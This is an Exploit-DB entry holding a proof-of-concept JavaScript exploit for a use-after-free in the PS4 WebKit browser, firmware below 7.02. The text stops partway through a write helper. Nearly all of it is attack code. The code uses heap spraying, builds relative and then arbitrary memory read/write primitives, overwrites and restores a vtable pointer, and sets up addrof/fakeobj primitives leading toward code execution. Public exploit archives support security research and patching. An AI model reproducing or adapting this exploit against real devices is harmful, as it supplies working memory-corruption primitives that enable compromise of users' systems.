Exploit-DB #49309
Description: Sony Playstation 4 (PS4) < 7.02 - 'ValidationMessage::buildBubbleTree()' Use-After-Free WebKit Code Execution (PoC)
Type: webapps
Platform: hardware
Date: 2020-12-16
Author: ChendoChap

Exploit:
const OFFSET_ELEMENT_REFCOUNT = 0x10;
const OFFSET_JSAB_VIEW_VECTOR = 0x10;
const OFFSET_JSAB_VIEW_LENGTH = 0x18;
const OFFSET_LENGTH_STRINGIMPL = 0x04;
const OFFSET_HTMLELEMENT_REFCOUNT = 0x14;

const LENGTH_ARRAYBUFFER = 0x8;
const LENGTH_STRINGIMPL = 0x14;
const LENGTH_JSVIEW = 0x20;
const LENGTH_VALIDATION_MESSAGE = 0x30;
const LENGTH_TIMER = 0x48;
const LENGTH_HTMLTEXTAREA = 0xd8;

const SPRAY_ELEM_SIZE = 0x6000;
const SPRAY_STRINGIMPL = 0x1000;

const NB_FRAMES = 0xfa0;
const NB_REUSE = 0x8000;

var g_arr_ab_1 = [];
var g_arr_ab_2 = [];
var g_arr_ab_3 = [];

var g_frames = [];

var g_relative_read = null;
var g_relative_rw = null;
var g_ab_slave = null;
var g_ab_index = null;

var g_timer_leak = null;
var g_jsview_leak = null;
var g_jsview_butterfly = null;
var g_message_heading_leak = null;
var g_message_body_leak = null;

var g_obj_str = {};

var g_rows1 = '1px,'.repeat(LENGTH_VALIDATION_MESSAGE / 8 - 2) + "1px";
var g_rows2 = '2px,'.repeat(LENGTH_VALIDATION_MESSAGE / 8 - 2) + "2px";

var g_round = 1;
var g_input = null;

var guess_htmltextarea_addr = new Int64("0x2031b00d8");

var master_b = new Uint32Array(2);
var slave_b =  new Uint32Array(2);
var slave_addr;
var slave_buf_addr;
var master_addr;


/* Executed after deleteBubbleTree */
function setupRW() {
	/* Now the m_length of the JSArrayBufferView should be 0xffffff01 */
	for (let i = 0; i < g_arr_ab_3.length; i++) {
		if (g_arr_ab_3[i].length > 0xff) {
			g_relative_rw = g_arr_ab_3[i];
			debug_log("[+] Succesfully got a relative R/W");
			break;
		}
	}
	if (g_relative_rw === null)
		die("[!] Failed to setup a relative R/W primitive");

	debug_log("[+] Setting up arbitrary R/W");

	/* Retrieving the ArrayBuffer address using the relative read */
	let diff = g_jsview_leak.sub(g_timer_leak).low32() - LENGTH_STRINGIMPL + 1;
	let ab_addr = new Int64(str2array(g_relative_read, 8, diff + OFFSET_JSAB_VIEW_VECTOR));

	/* Does the next JSObject is a JSView? Otherwise we target the previous JSObject */
	let ab_index = g_jsview_leak.sub(ab_addr).low32();
	if (g_relative_rw[ab_index + LENGTH_JSVIEW + OFFSET_JSAB_VIEW_LENGTH] === LENGTH_ARRAYBUFFER)
		g_ab_index = ab_index + LENGTH_JSVIEW;
	else
		g_ab_index = ab_index - LENGTH_JSVIEW;

	/* Overding the length of one JSArrayBufferView with a known value */
	g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0x41;

	/* Looking for the slave JSArrayBufferView */
	for (let i = 0; i < g_arr_ab_3.length; i++) {
		if (g_arr_ab_3[i].length === 0x41) {
			g_ab_slave = g_arr_ab_3[i];
			g_arr_ab_3 = null;
			break;
		}
	}
	if (g_ab_slave === null)
		die("[!] Didn't found the slave JSArrayBufferView");

	/* Extending the JSArrayBufferView length */
	g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0xff;
	g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 1] = 0xff;
	g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 2] = 0xff;
	g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 3] = 0xff;

	debug_log("[+] Testing arbitrary R/W");

	let saved_vtable = read64(guess_htmltextarea_addr);
	write64(guess_htmltextarea_addr, new Int64("0x[PII_REDACTED]414141"));
	if (!read64(guess_htmltextarea_addr).equals("0x[PII_REDACTED]414141"))
		die("[!] Failed to setup arbitrary R/W primitive");

	debug_log("[+] Succesfully got arbitrary R/W!");

	/* Restore the overidden vtable pointer */
	write64(guess_htmltextarea_addr, saved_vtable);

	/* Cleanup memory */
	cleanup();

	/* Set up addrof/fakeobj primitives */
	g_ab_slave.leakme = 0x1337;
	var bf = 0;
	for(var i = 15; i >= 8; i--)
		bf = 256 * bf + g_relative_rw[g_ab_index + i];
	g_jsview_butterfly = new Int64(bf);
	if(!read64(g_jsview_butterfly.sub(16)).equals(new Int64("0xffff[PII_REDACTED]37")))
		die("[!] Failed to setup addrof/fakeobj primitives");
	debug_log("[+] Succesfully got addrof/fakeobj");

	/* Getting code execution */
	/* ... */
	var leak_slave = addrof(slave_b);
	var slave_addr = read64(leak_slave.add(0x10));

	og_slave_addr = new int64(slave_addr.low32(), slave_addr.hi32());
	var leak_master = addrof(master_b);
	write64(leak_master.add(0x10), leak_slave.add(0x10));
	var prim = {
		write8: function(addr, val) {
			master_b[0] = addr.low;
			master_b[1] = addr.hi;

			if(val instanceof int64) {
				slave_b[0] = val.low;
				slave_b[1] = val.hi;
			}
			else {
				slave_b[0] = val;
				slave_b[1] = 0;
			}

			master_b[0] = og_slave_addr.low;
			master_b[1] = og_slave_addr.hi;
		},
		write4: function(addr, val) {
			master_b[0] = addr.low;
			master_b[1] = addr.hi;

			slave_b[0] = val;

			master_b[0] = og_slave_addr.low;
			master_b[1] = og_slave_addr.hi;
		},
		read8: function(addr) {
			master_b[0] = addr.low;
			master_b[1] = addr.hi;
			var r = new int64(slave_b[0], slave_b[1]);
			master_b[0] = og_slave_addr.low;
			master_b[1] = og_slave_addr.hi;
			return r;
		},
		read4: function(addr) {
			master_b[0] = addr.low;
			master_b[1] = addr.hi;
			var r = slave_b[0];
			master_b[0] = og_slave_addr.low;
			master_b[1] = og_slave_addr.hi;
			return r;
		},
		leakval: function(val) {
			g_ab_slave.leakme = val;
			master_b[0] = g_jsview_butterfly.low32() - 0x10;
			master_b[1] = g_jsview_butterfly.hi32();
			var r = new int64(slave_b[0], slave_b[1]);
			master_b[0] = og_slave_addr.low;
			master_b[1] = og_slave_addr.hi;
			return r;
		},
	};
	window.prim = prim;
	setTimeout(stage2, 1000);
}

function read(addr, length) {
	for (let i = 0; i < 8; i++)
		g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i] = addr.byteAt(i);
	let arr = [];
	for (let i = 0; i < length; i++)
		arr.push(g_ab_slave[i]);
	return arr;
}

function read64(addr) {
	return new Int64(read(addr, 8));
}

function write(addr, data) {
	for (let i = 0; i < 8; i++)
		g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i] = addr.byteAt(i);
	for (let i = 0; i < data.length; i++)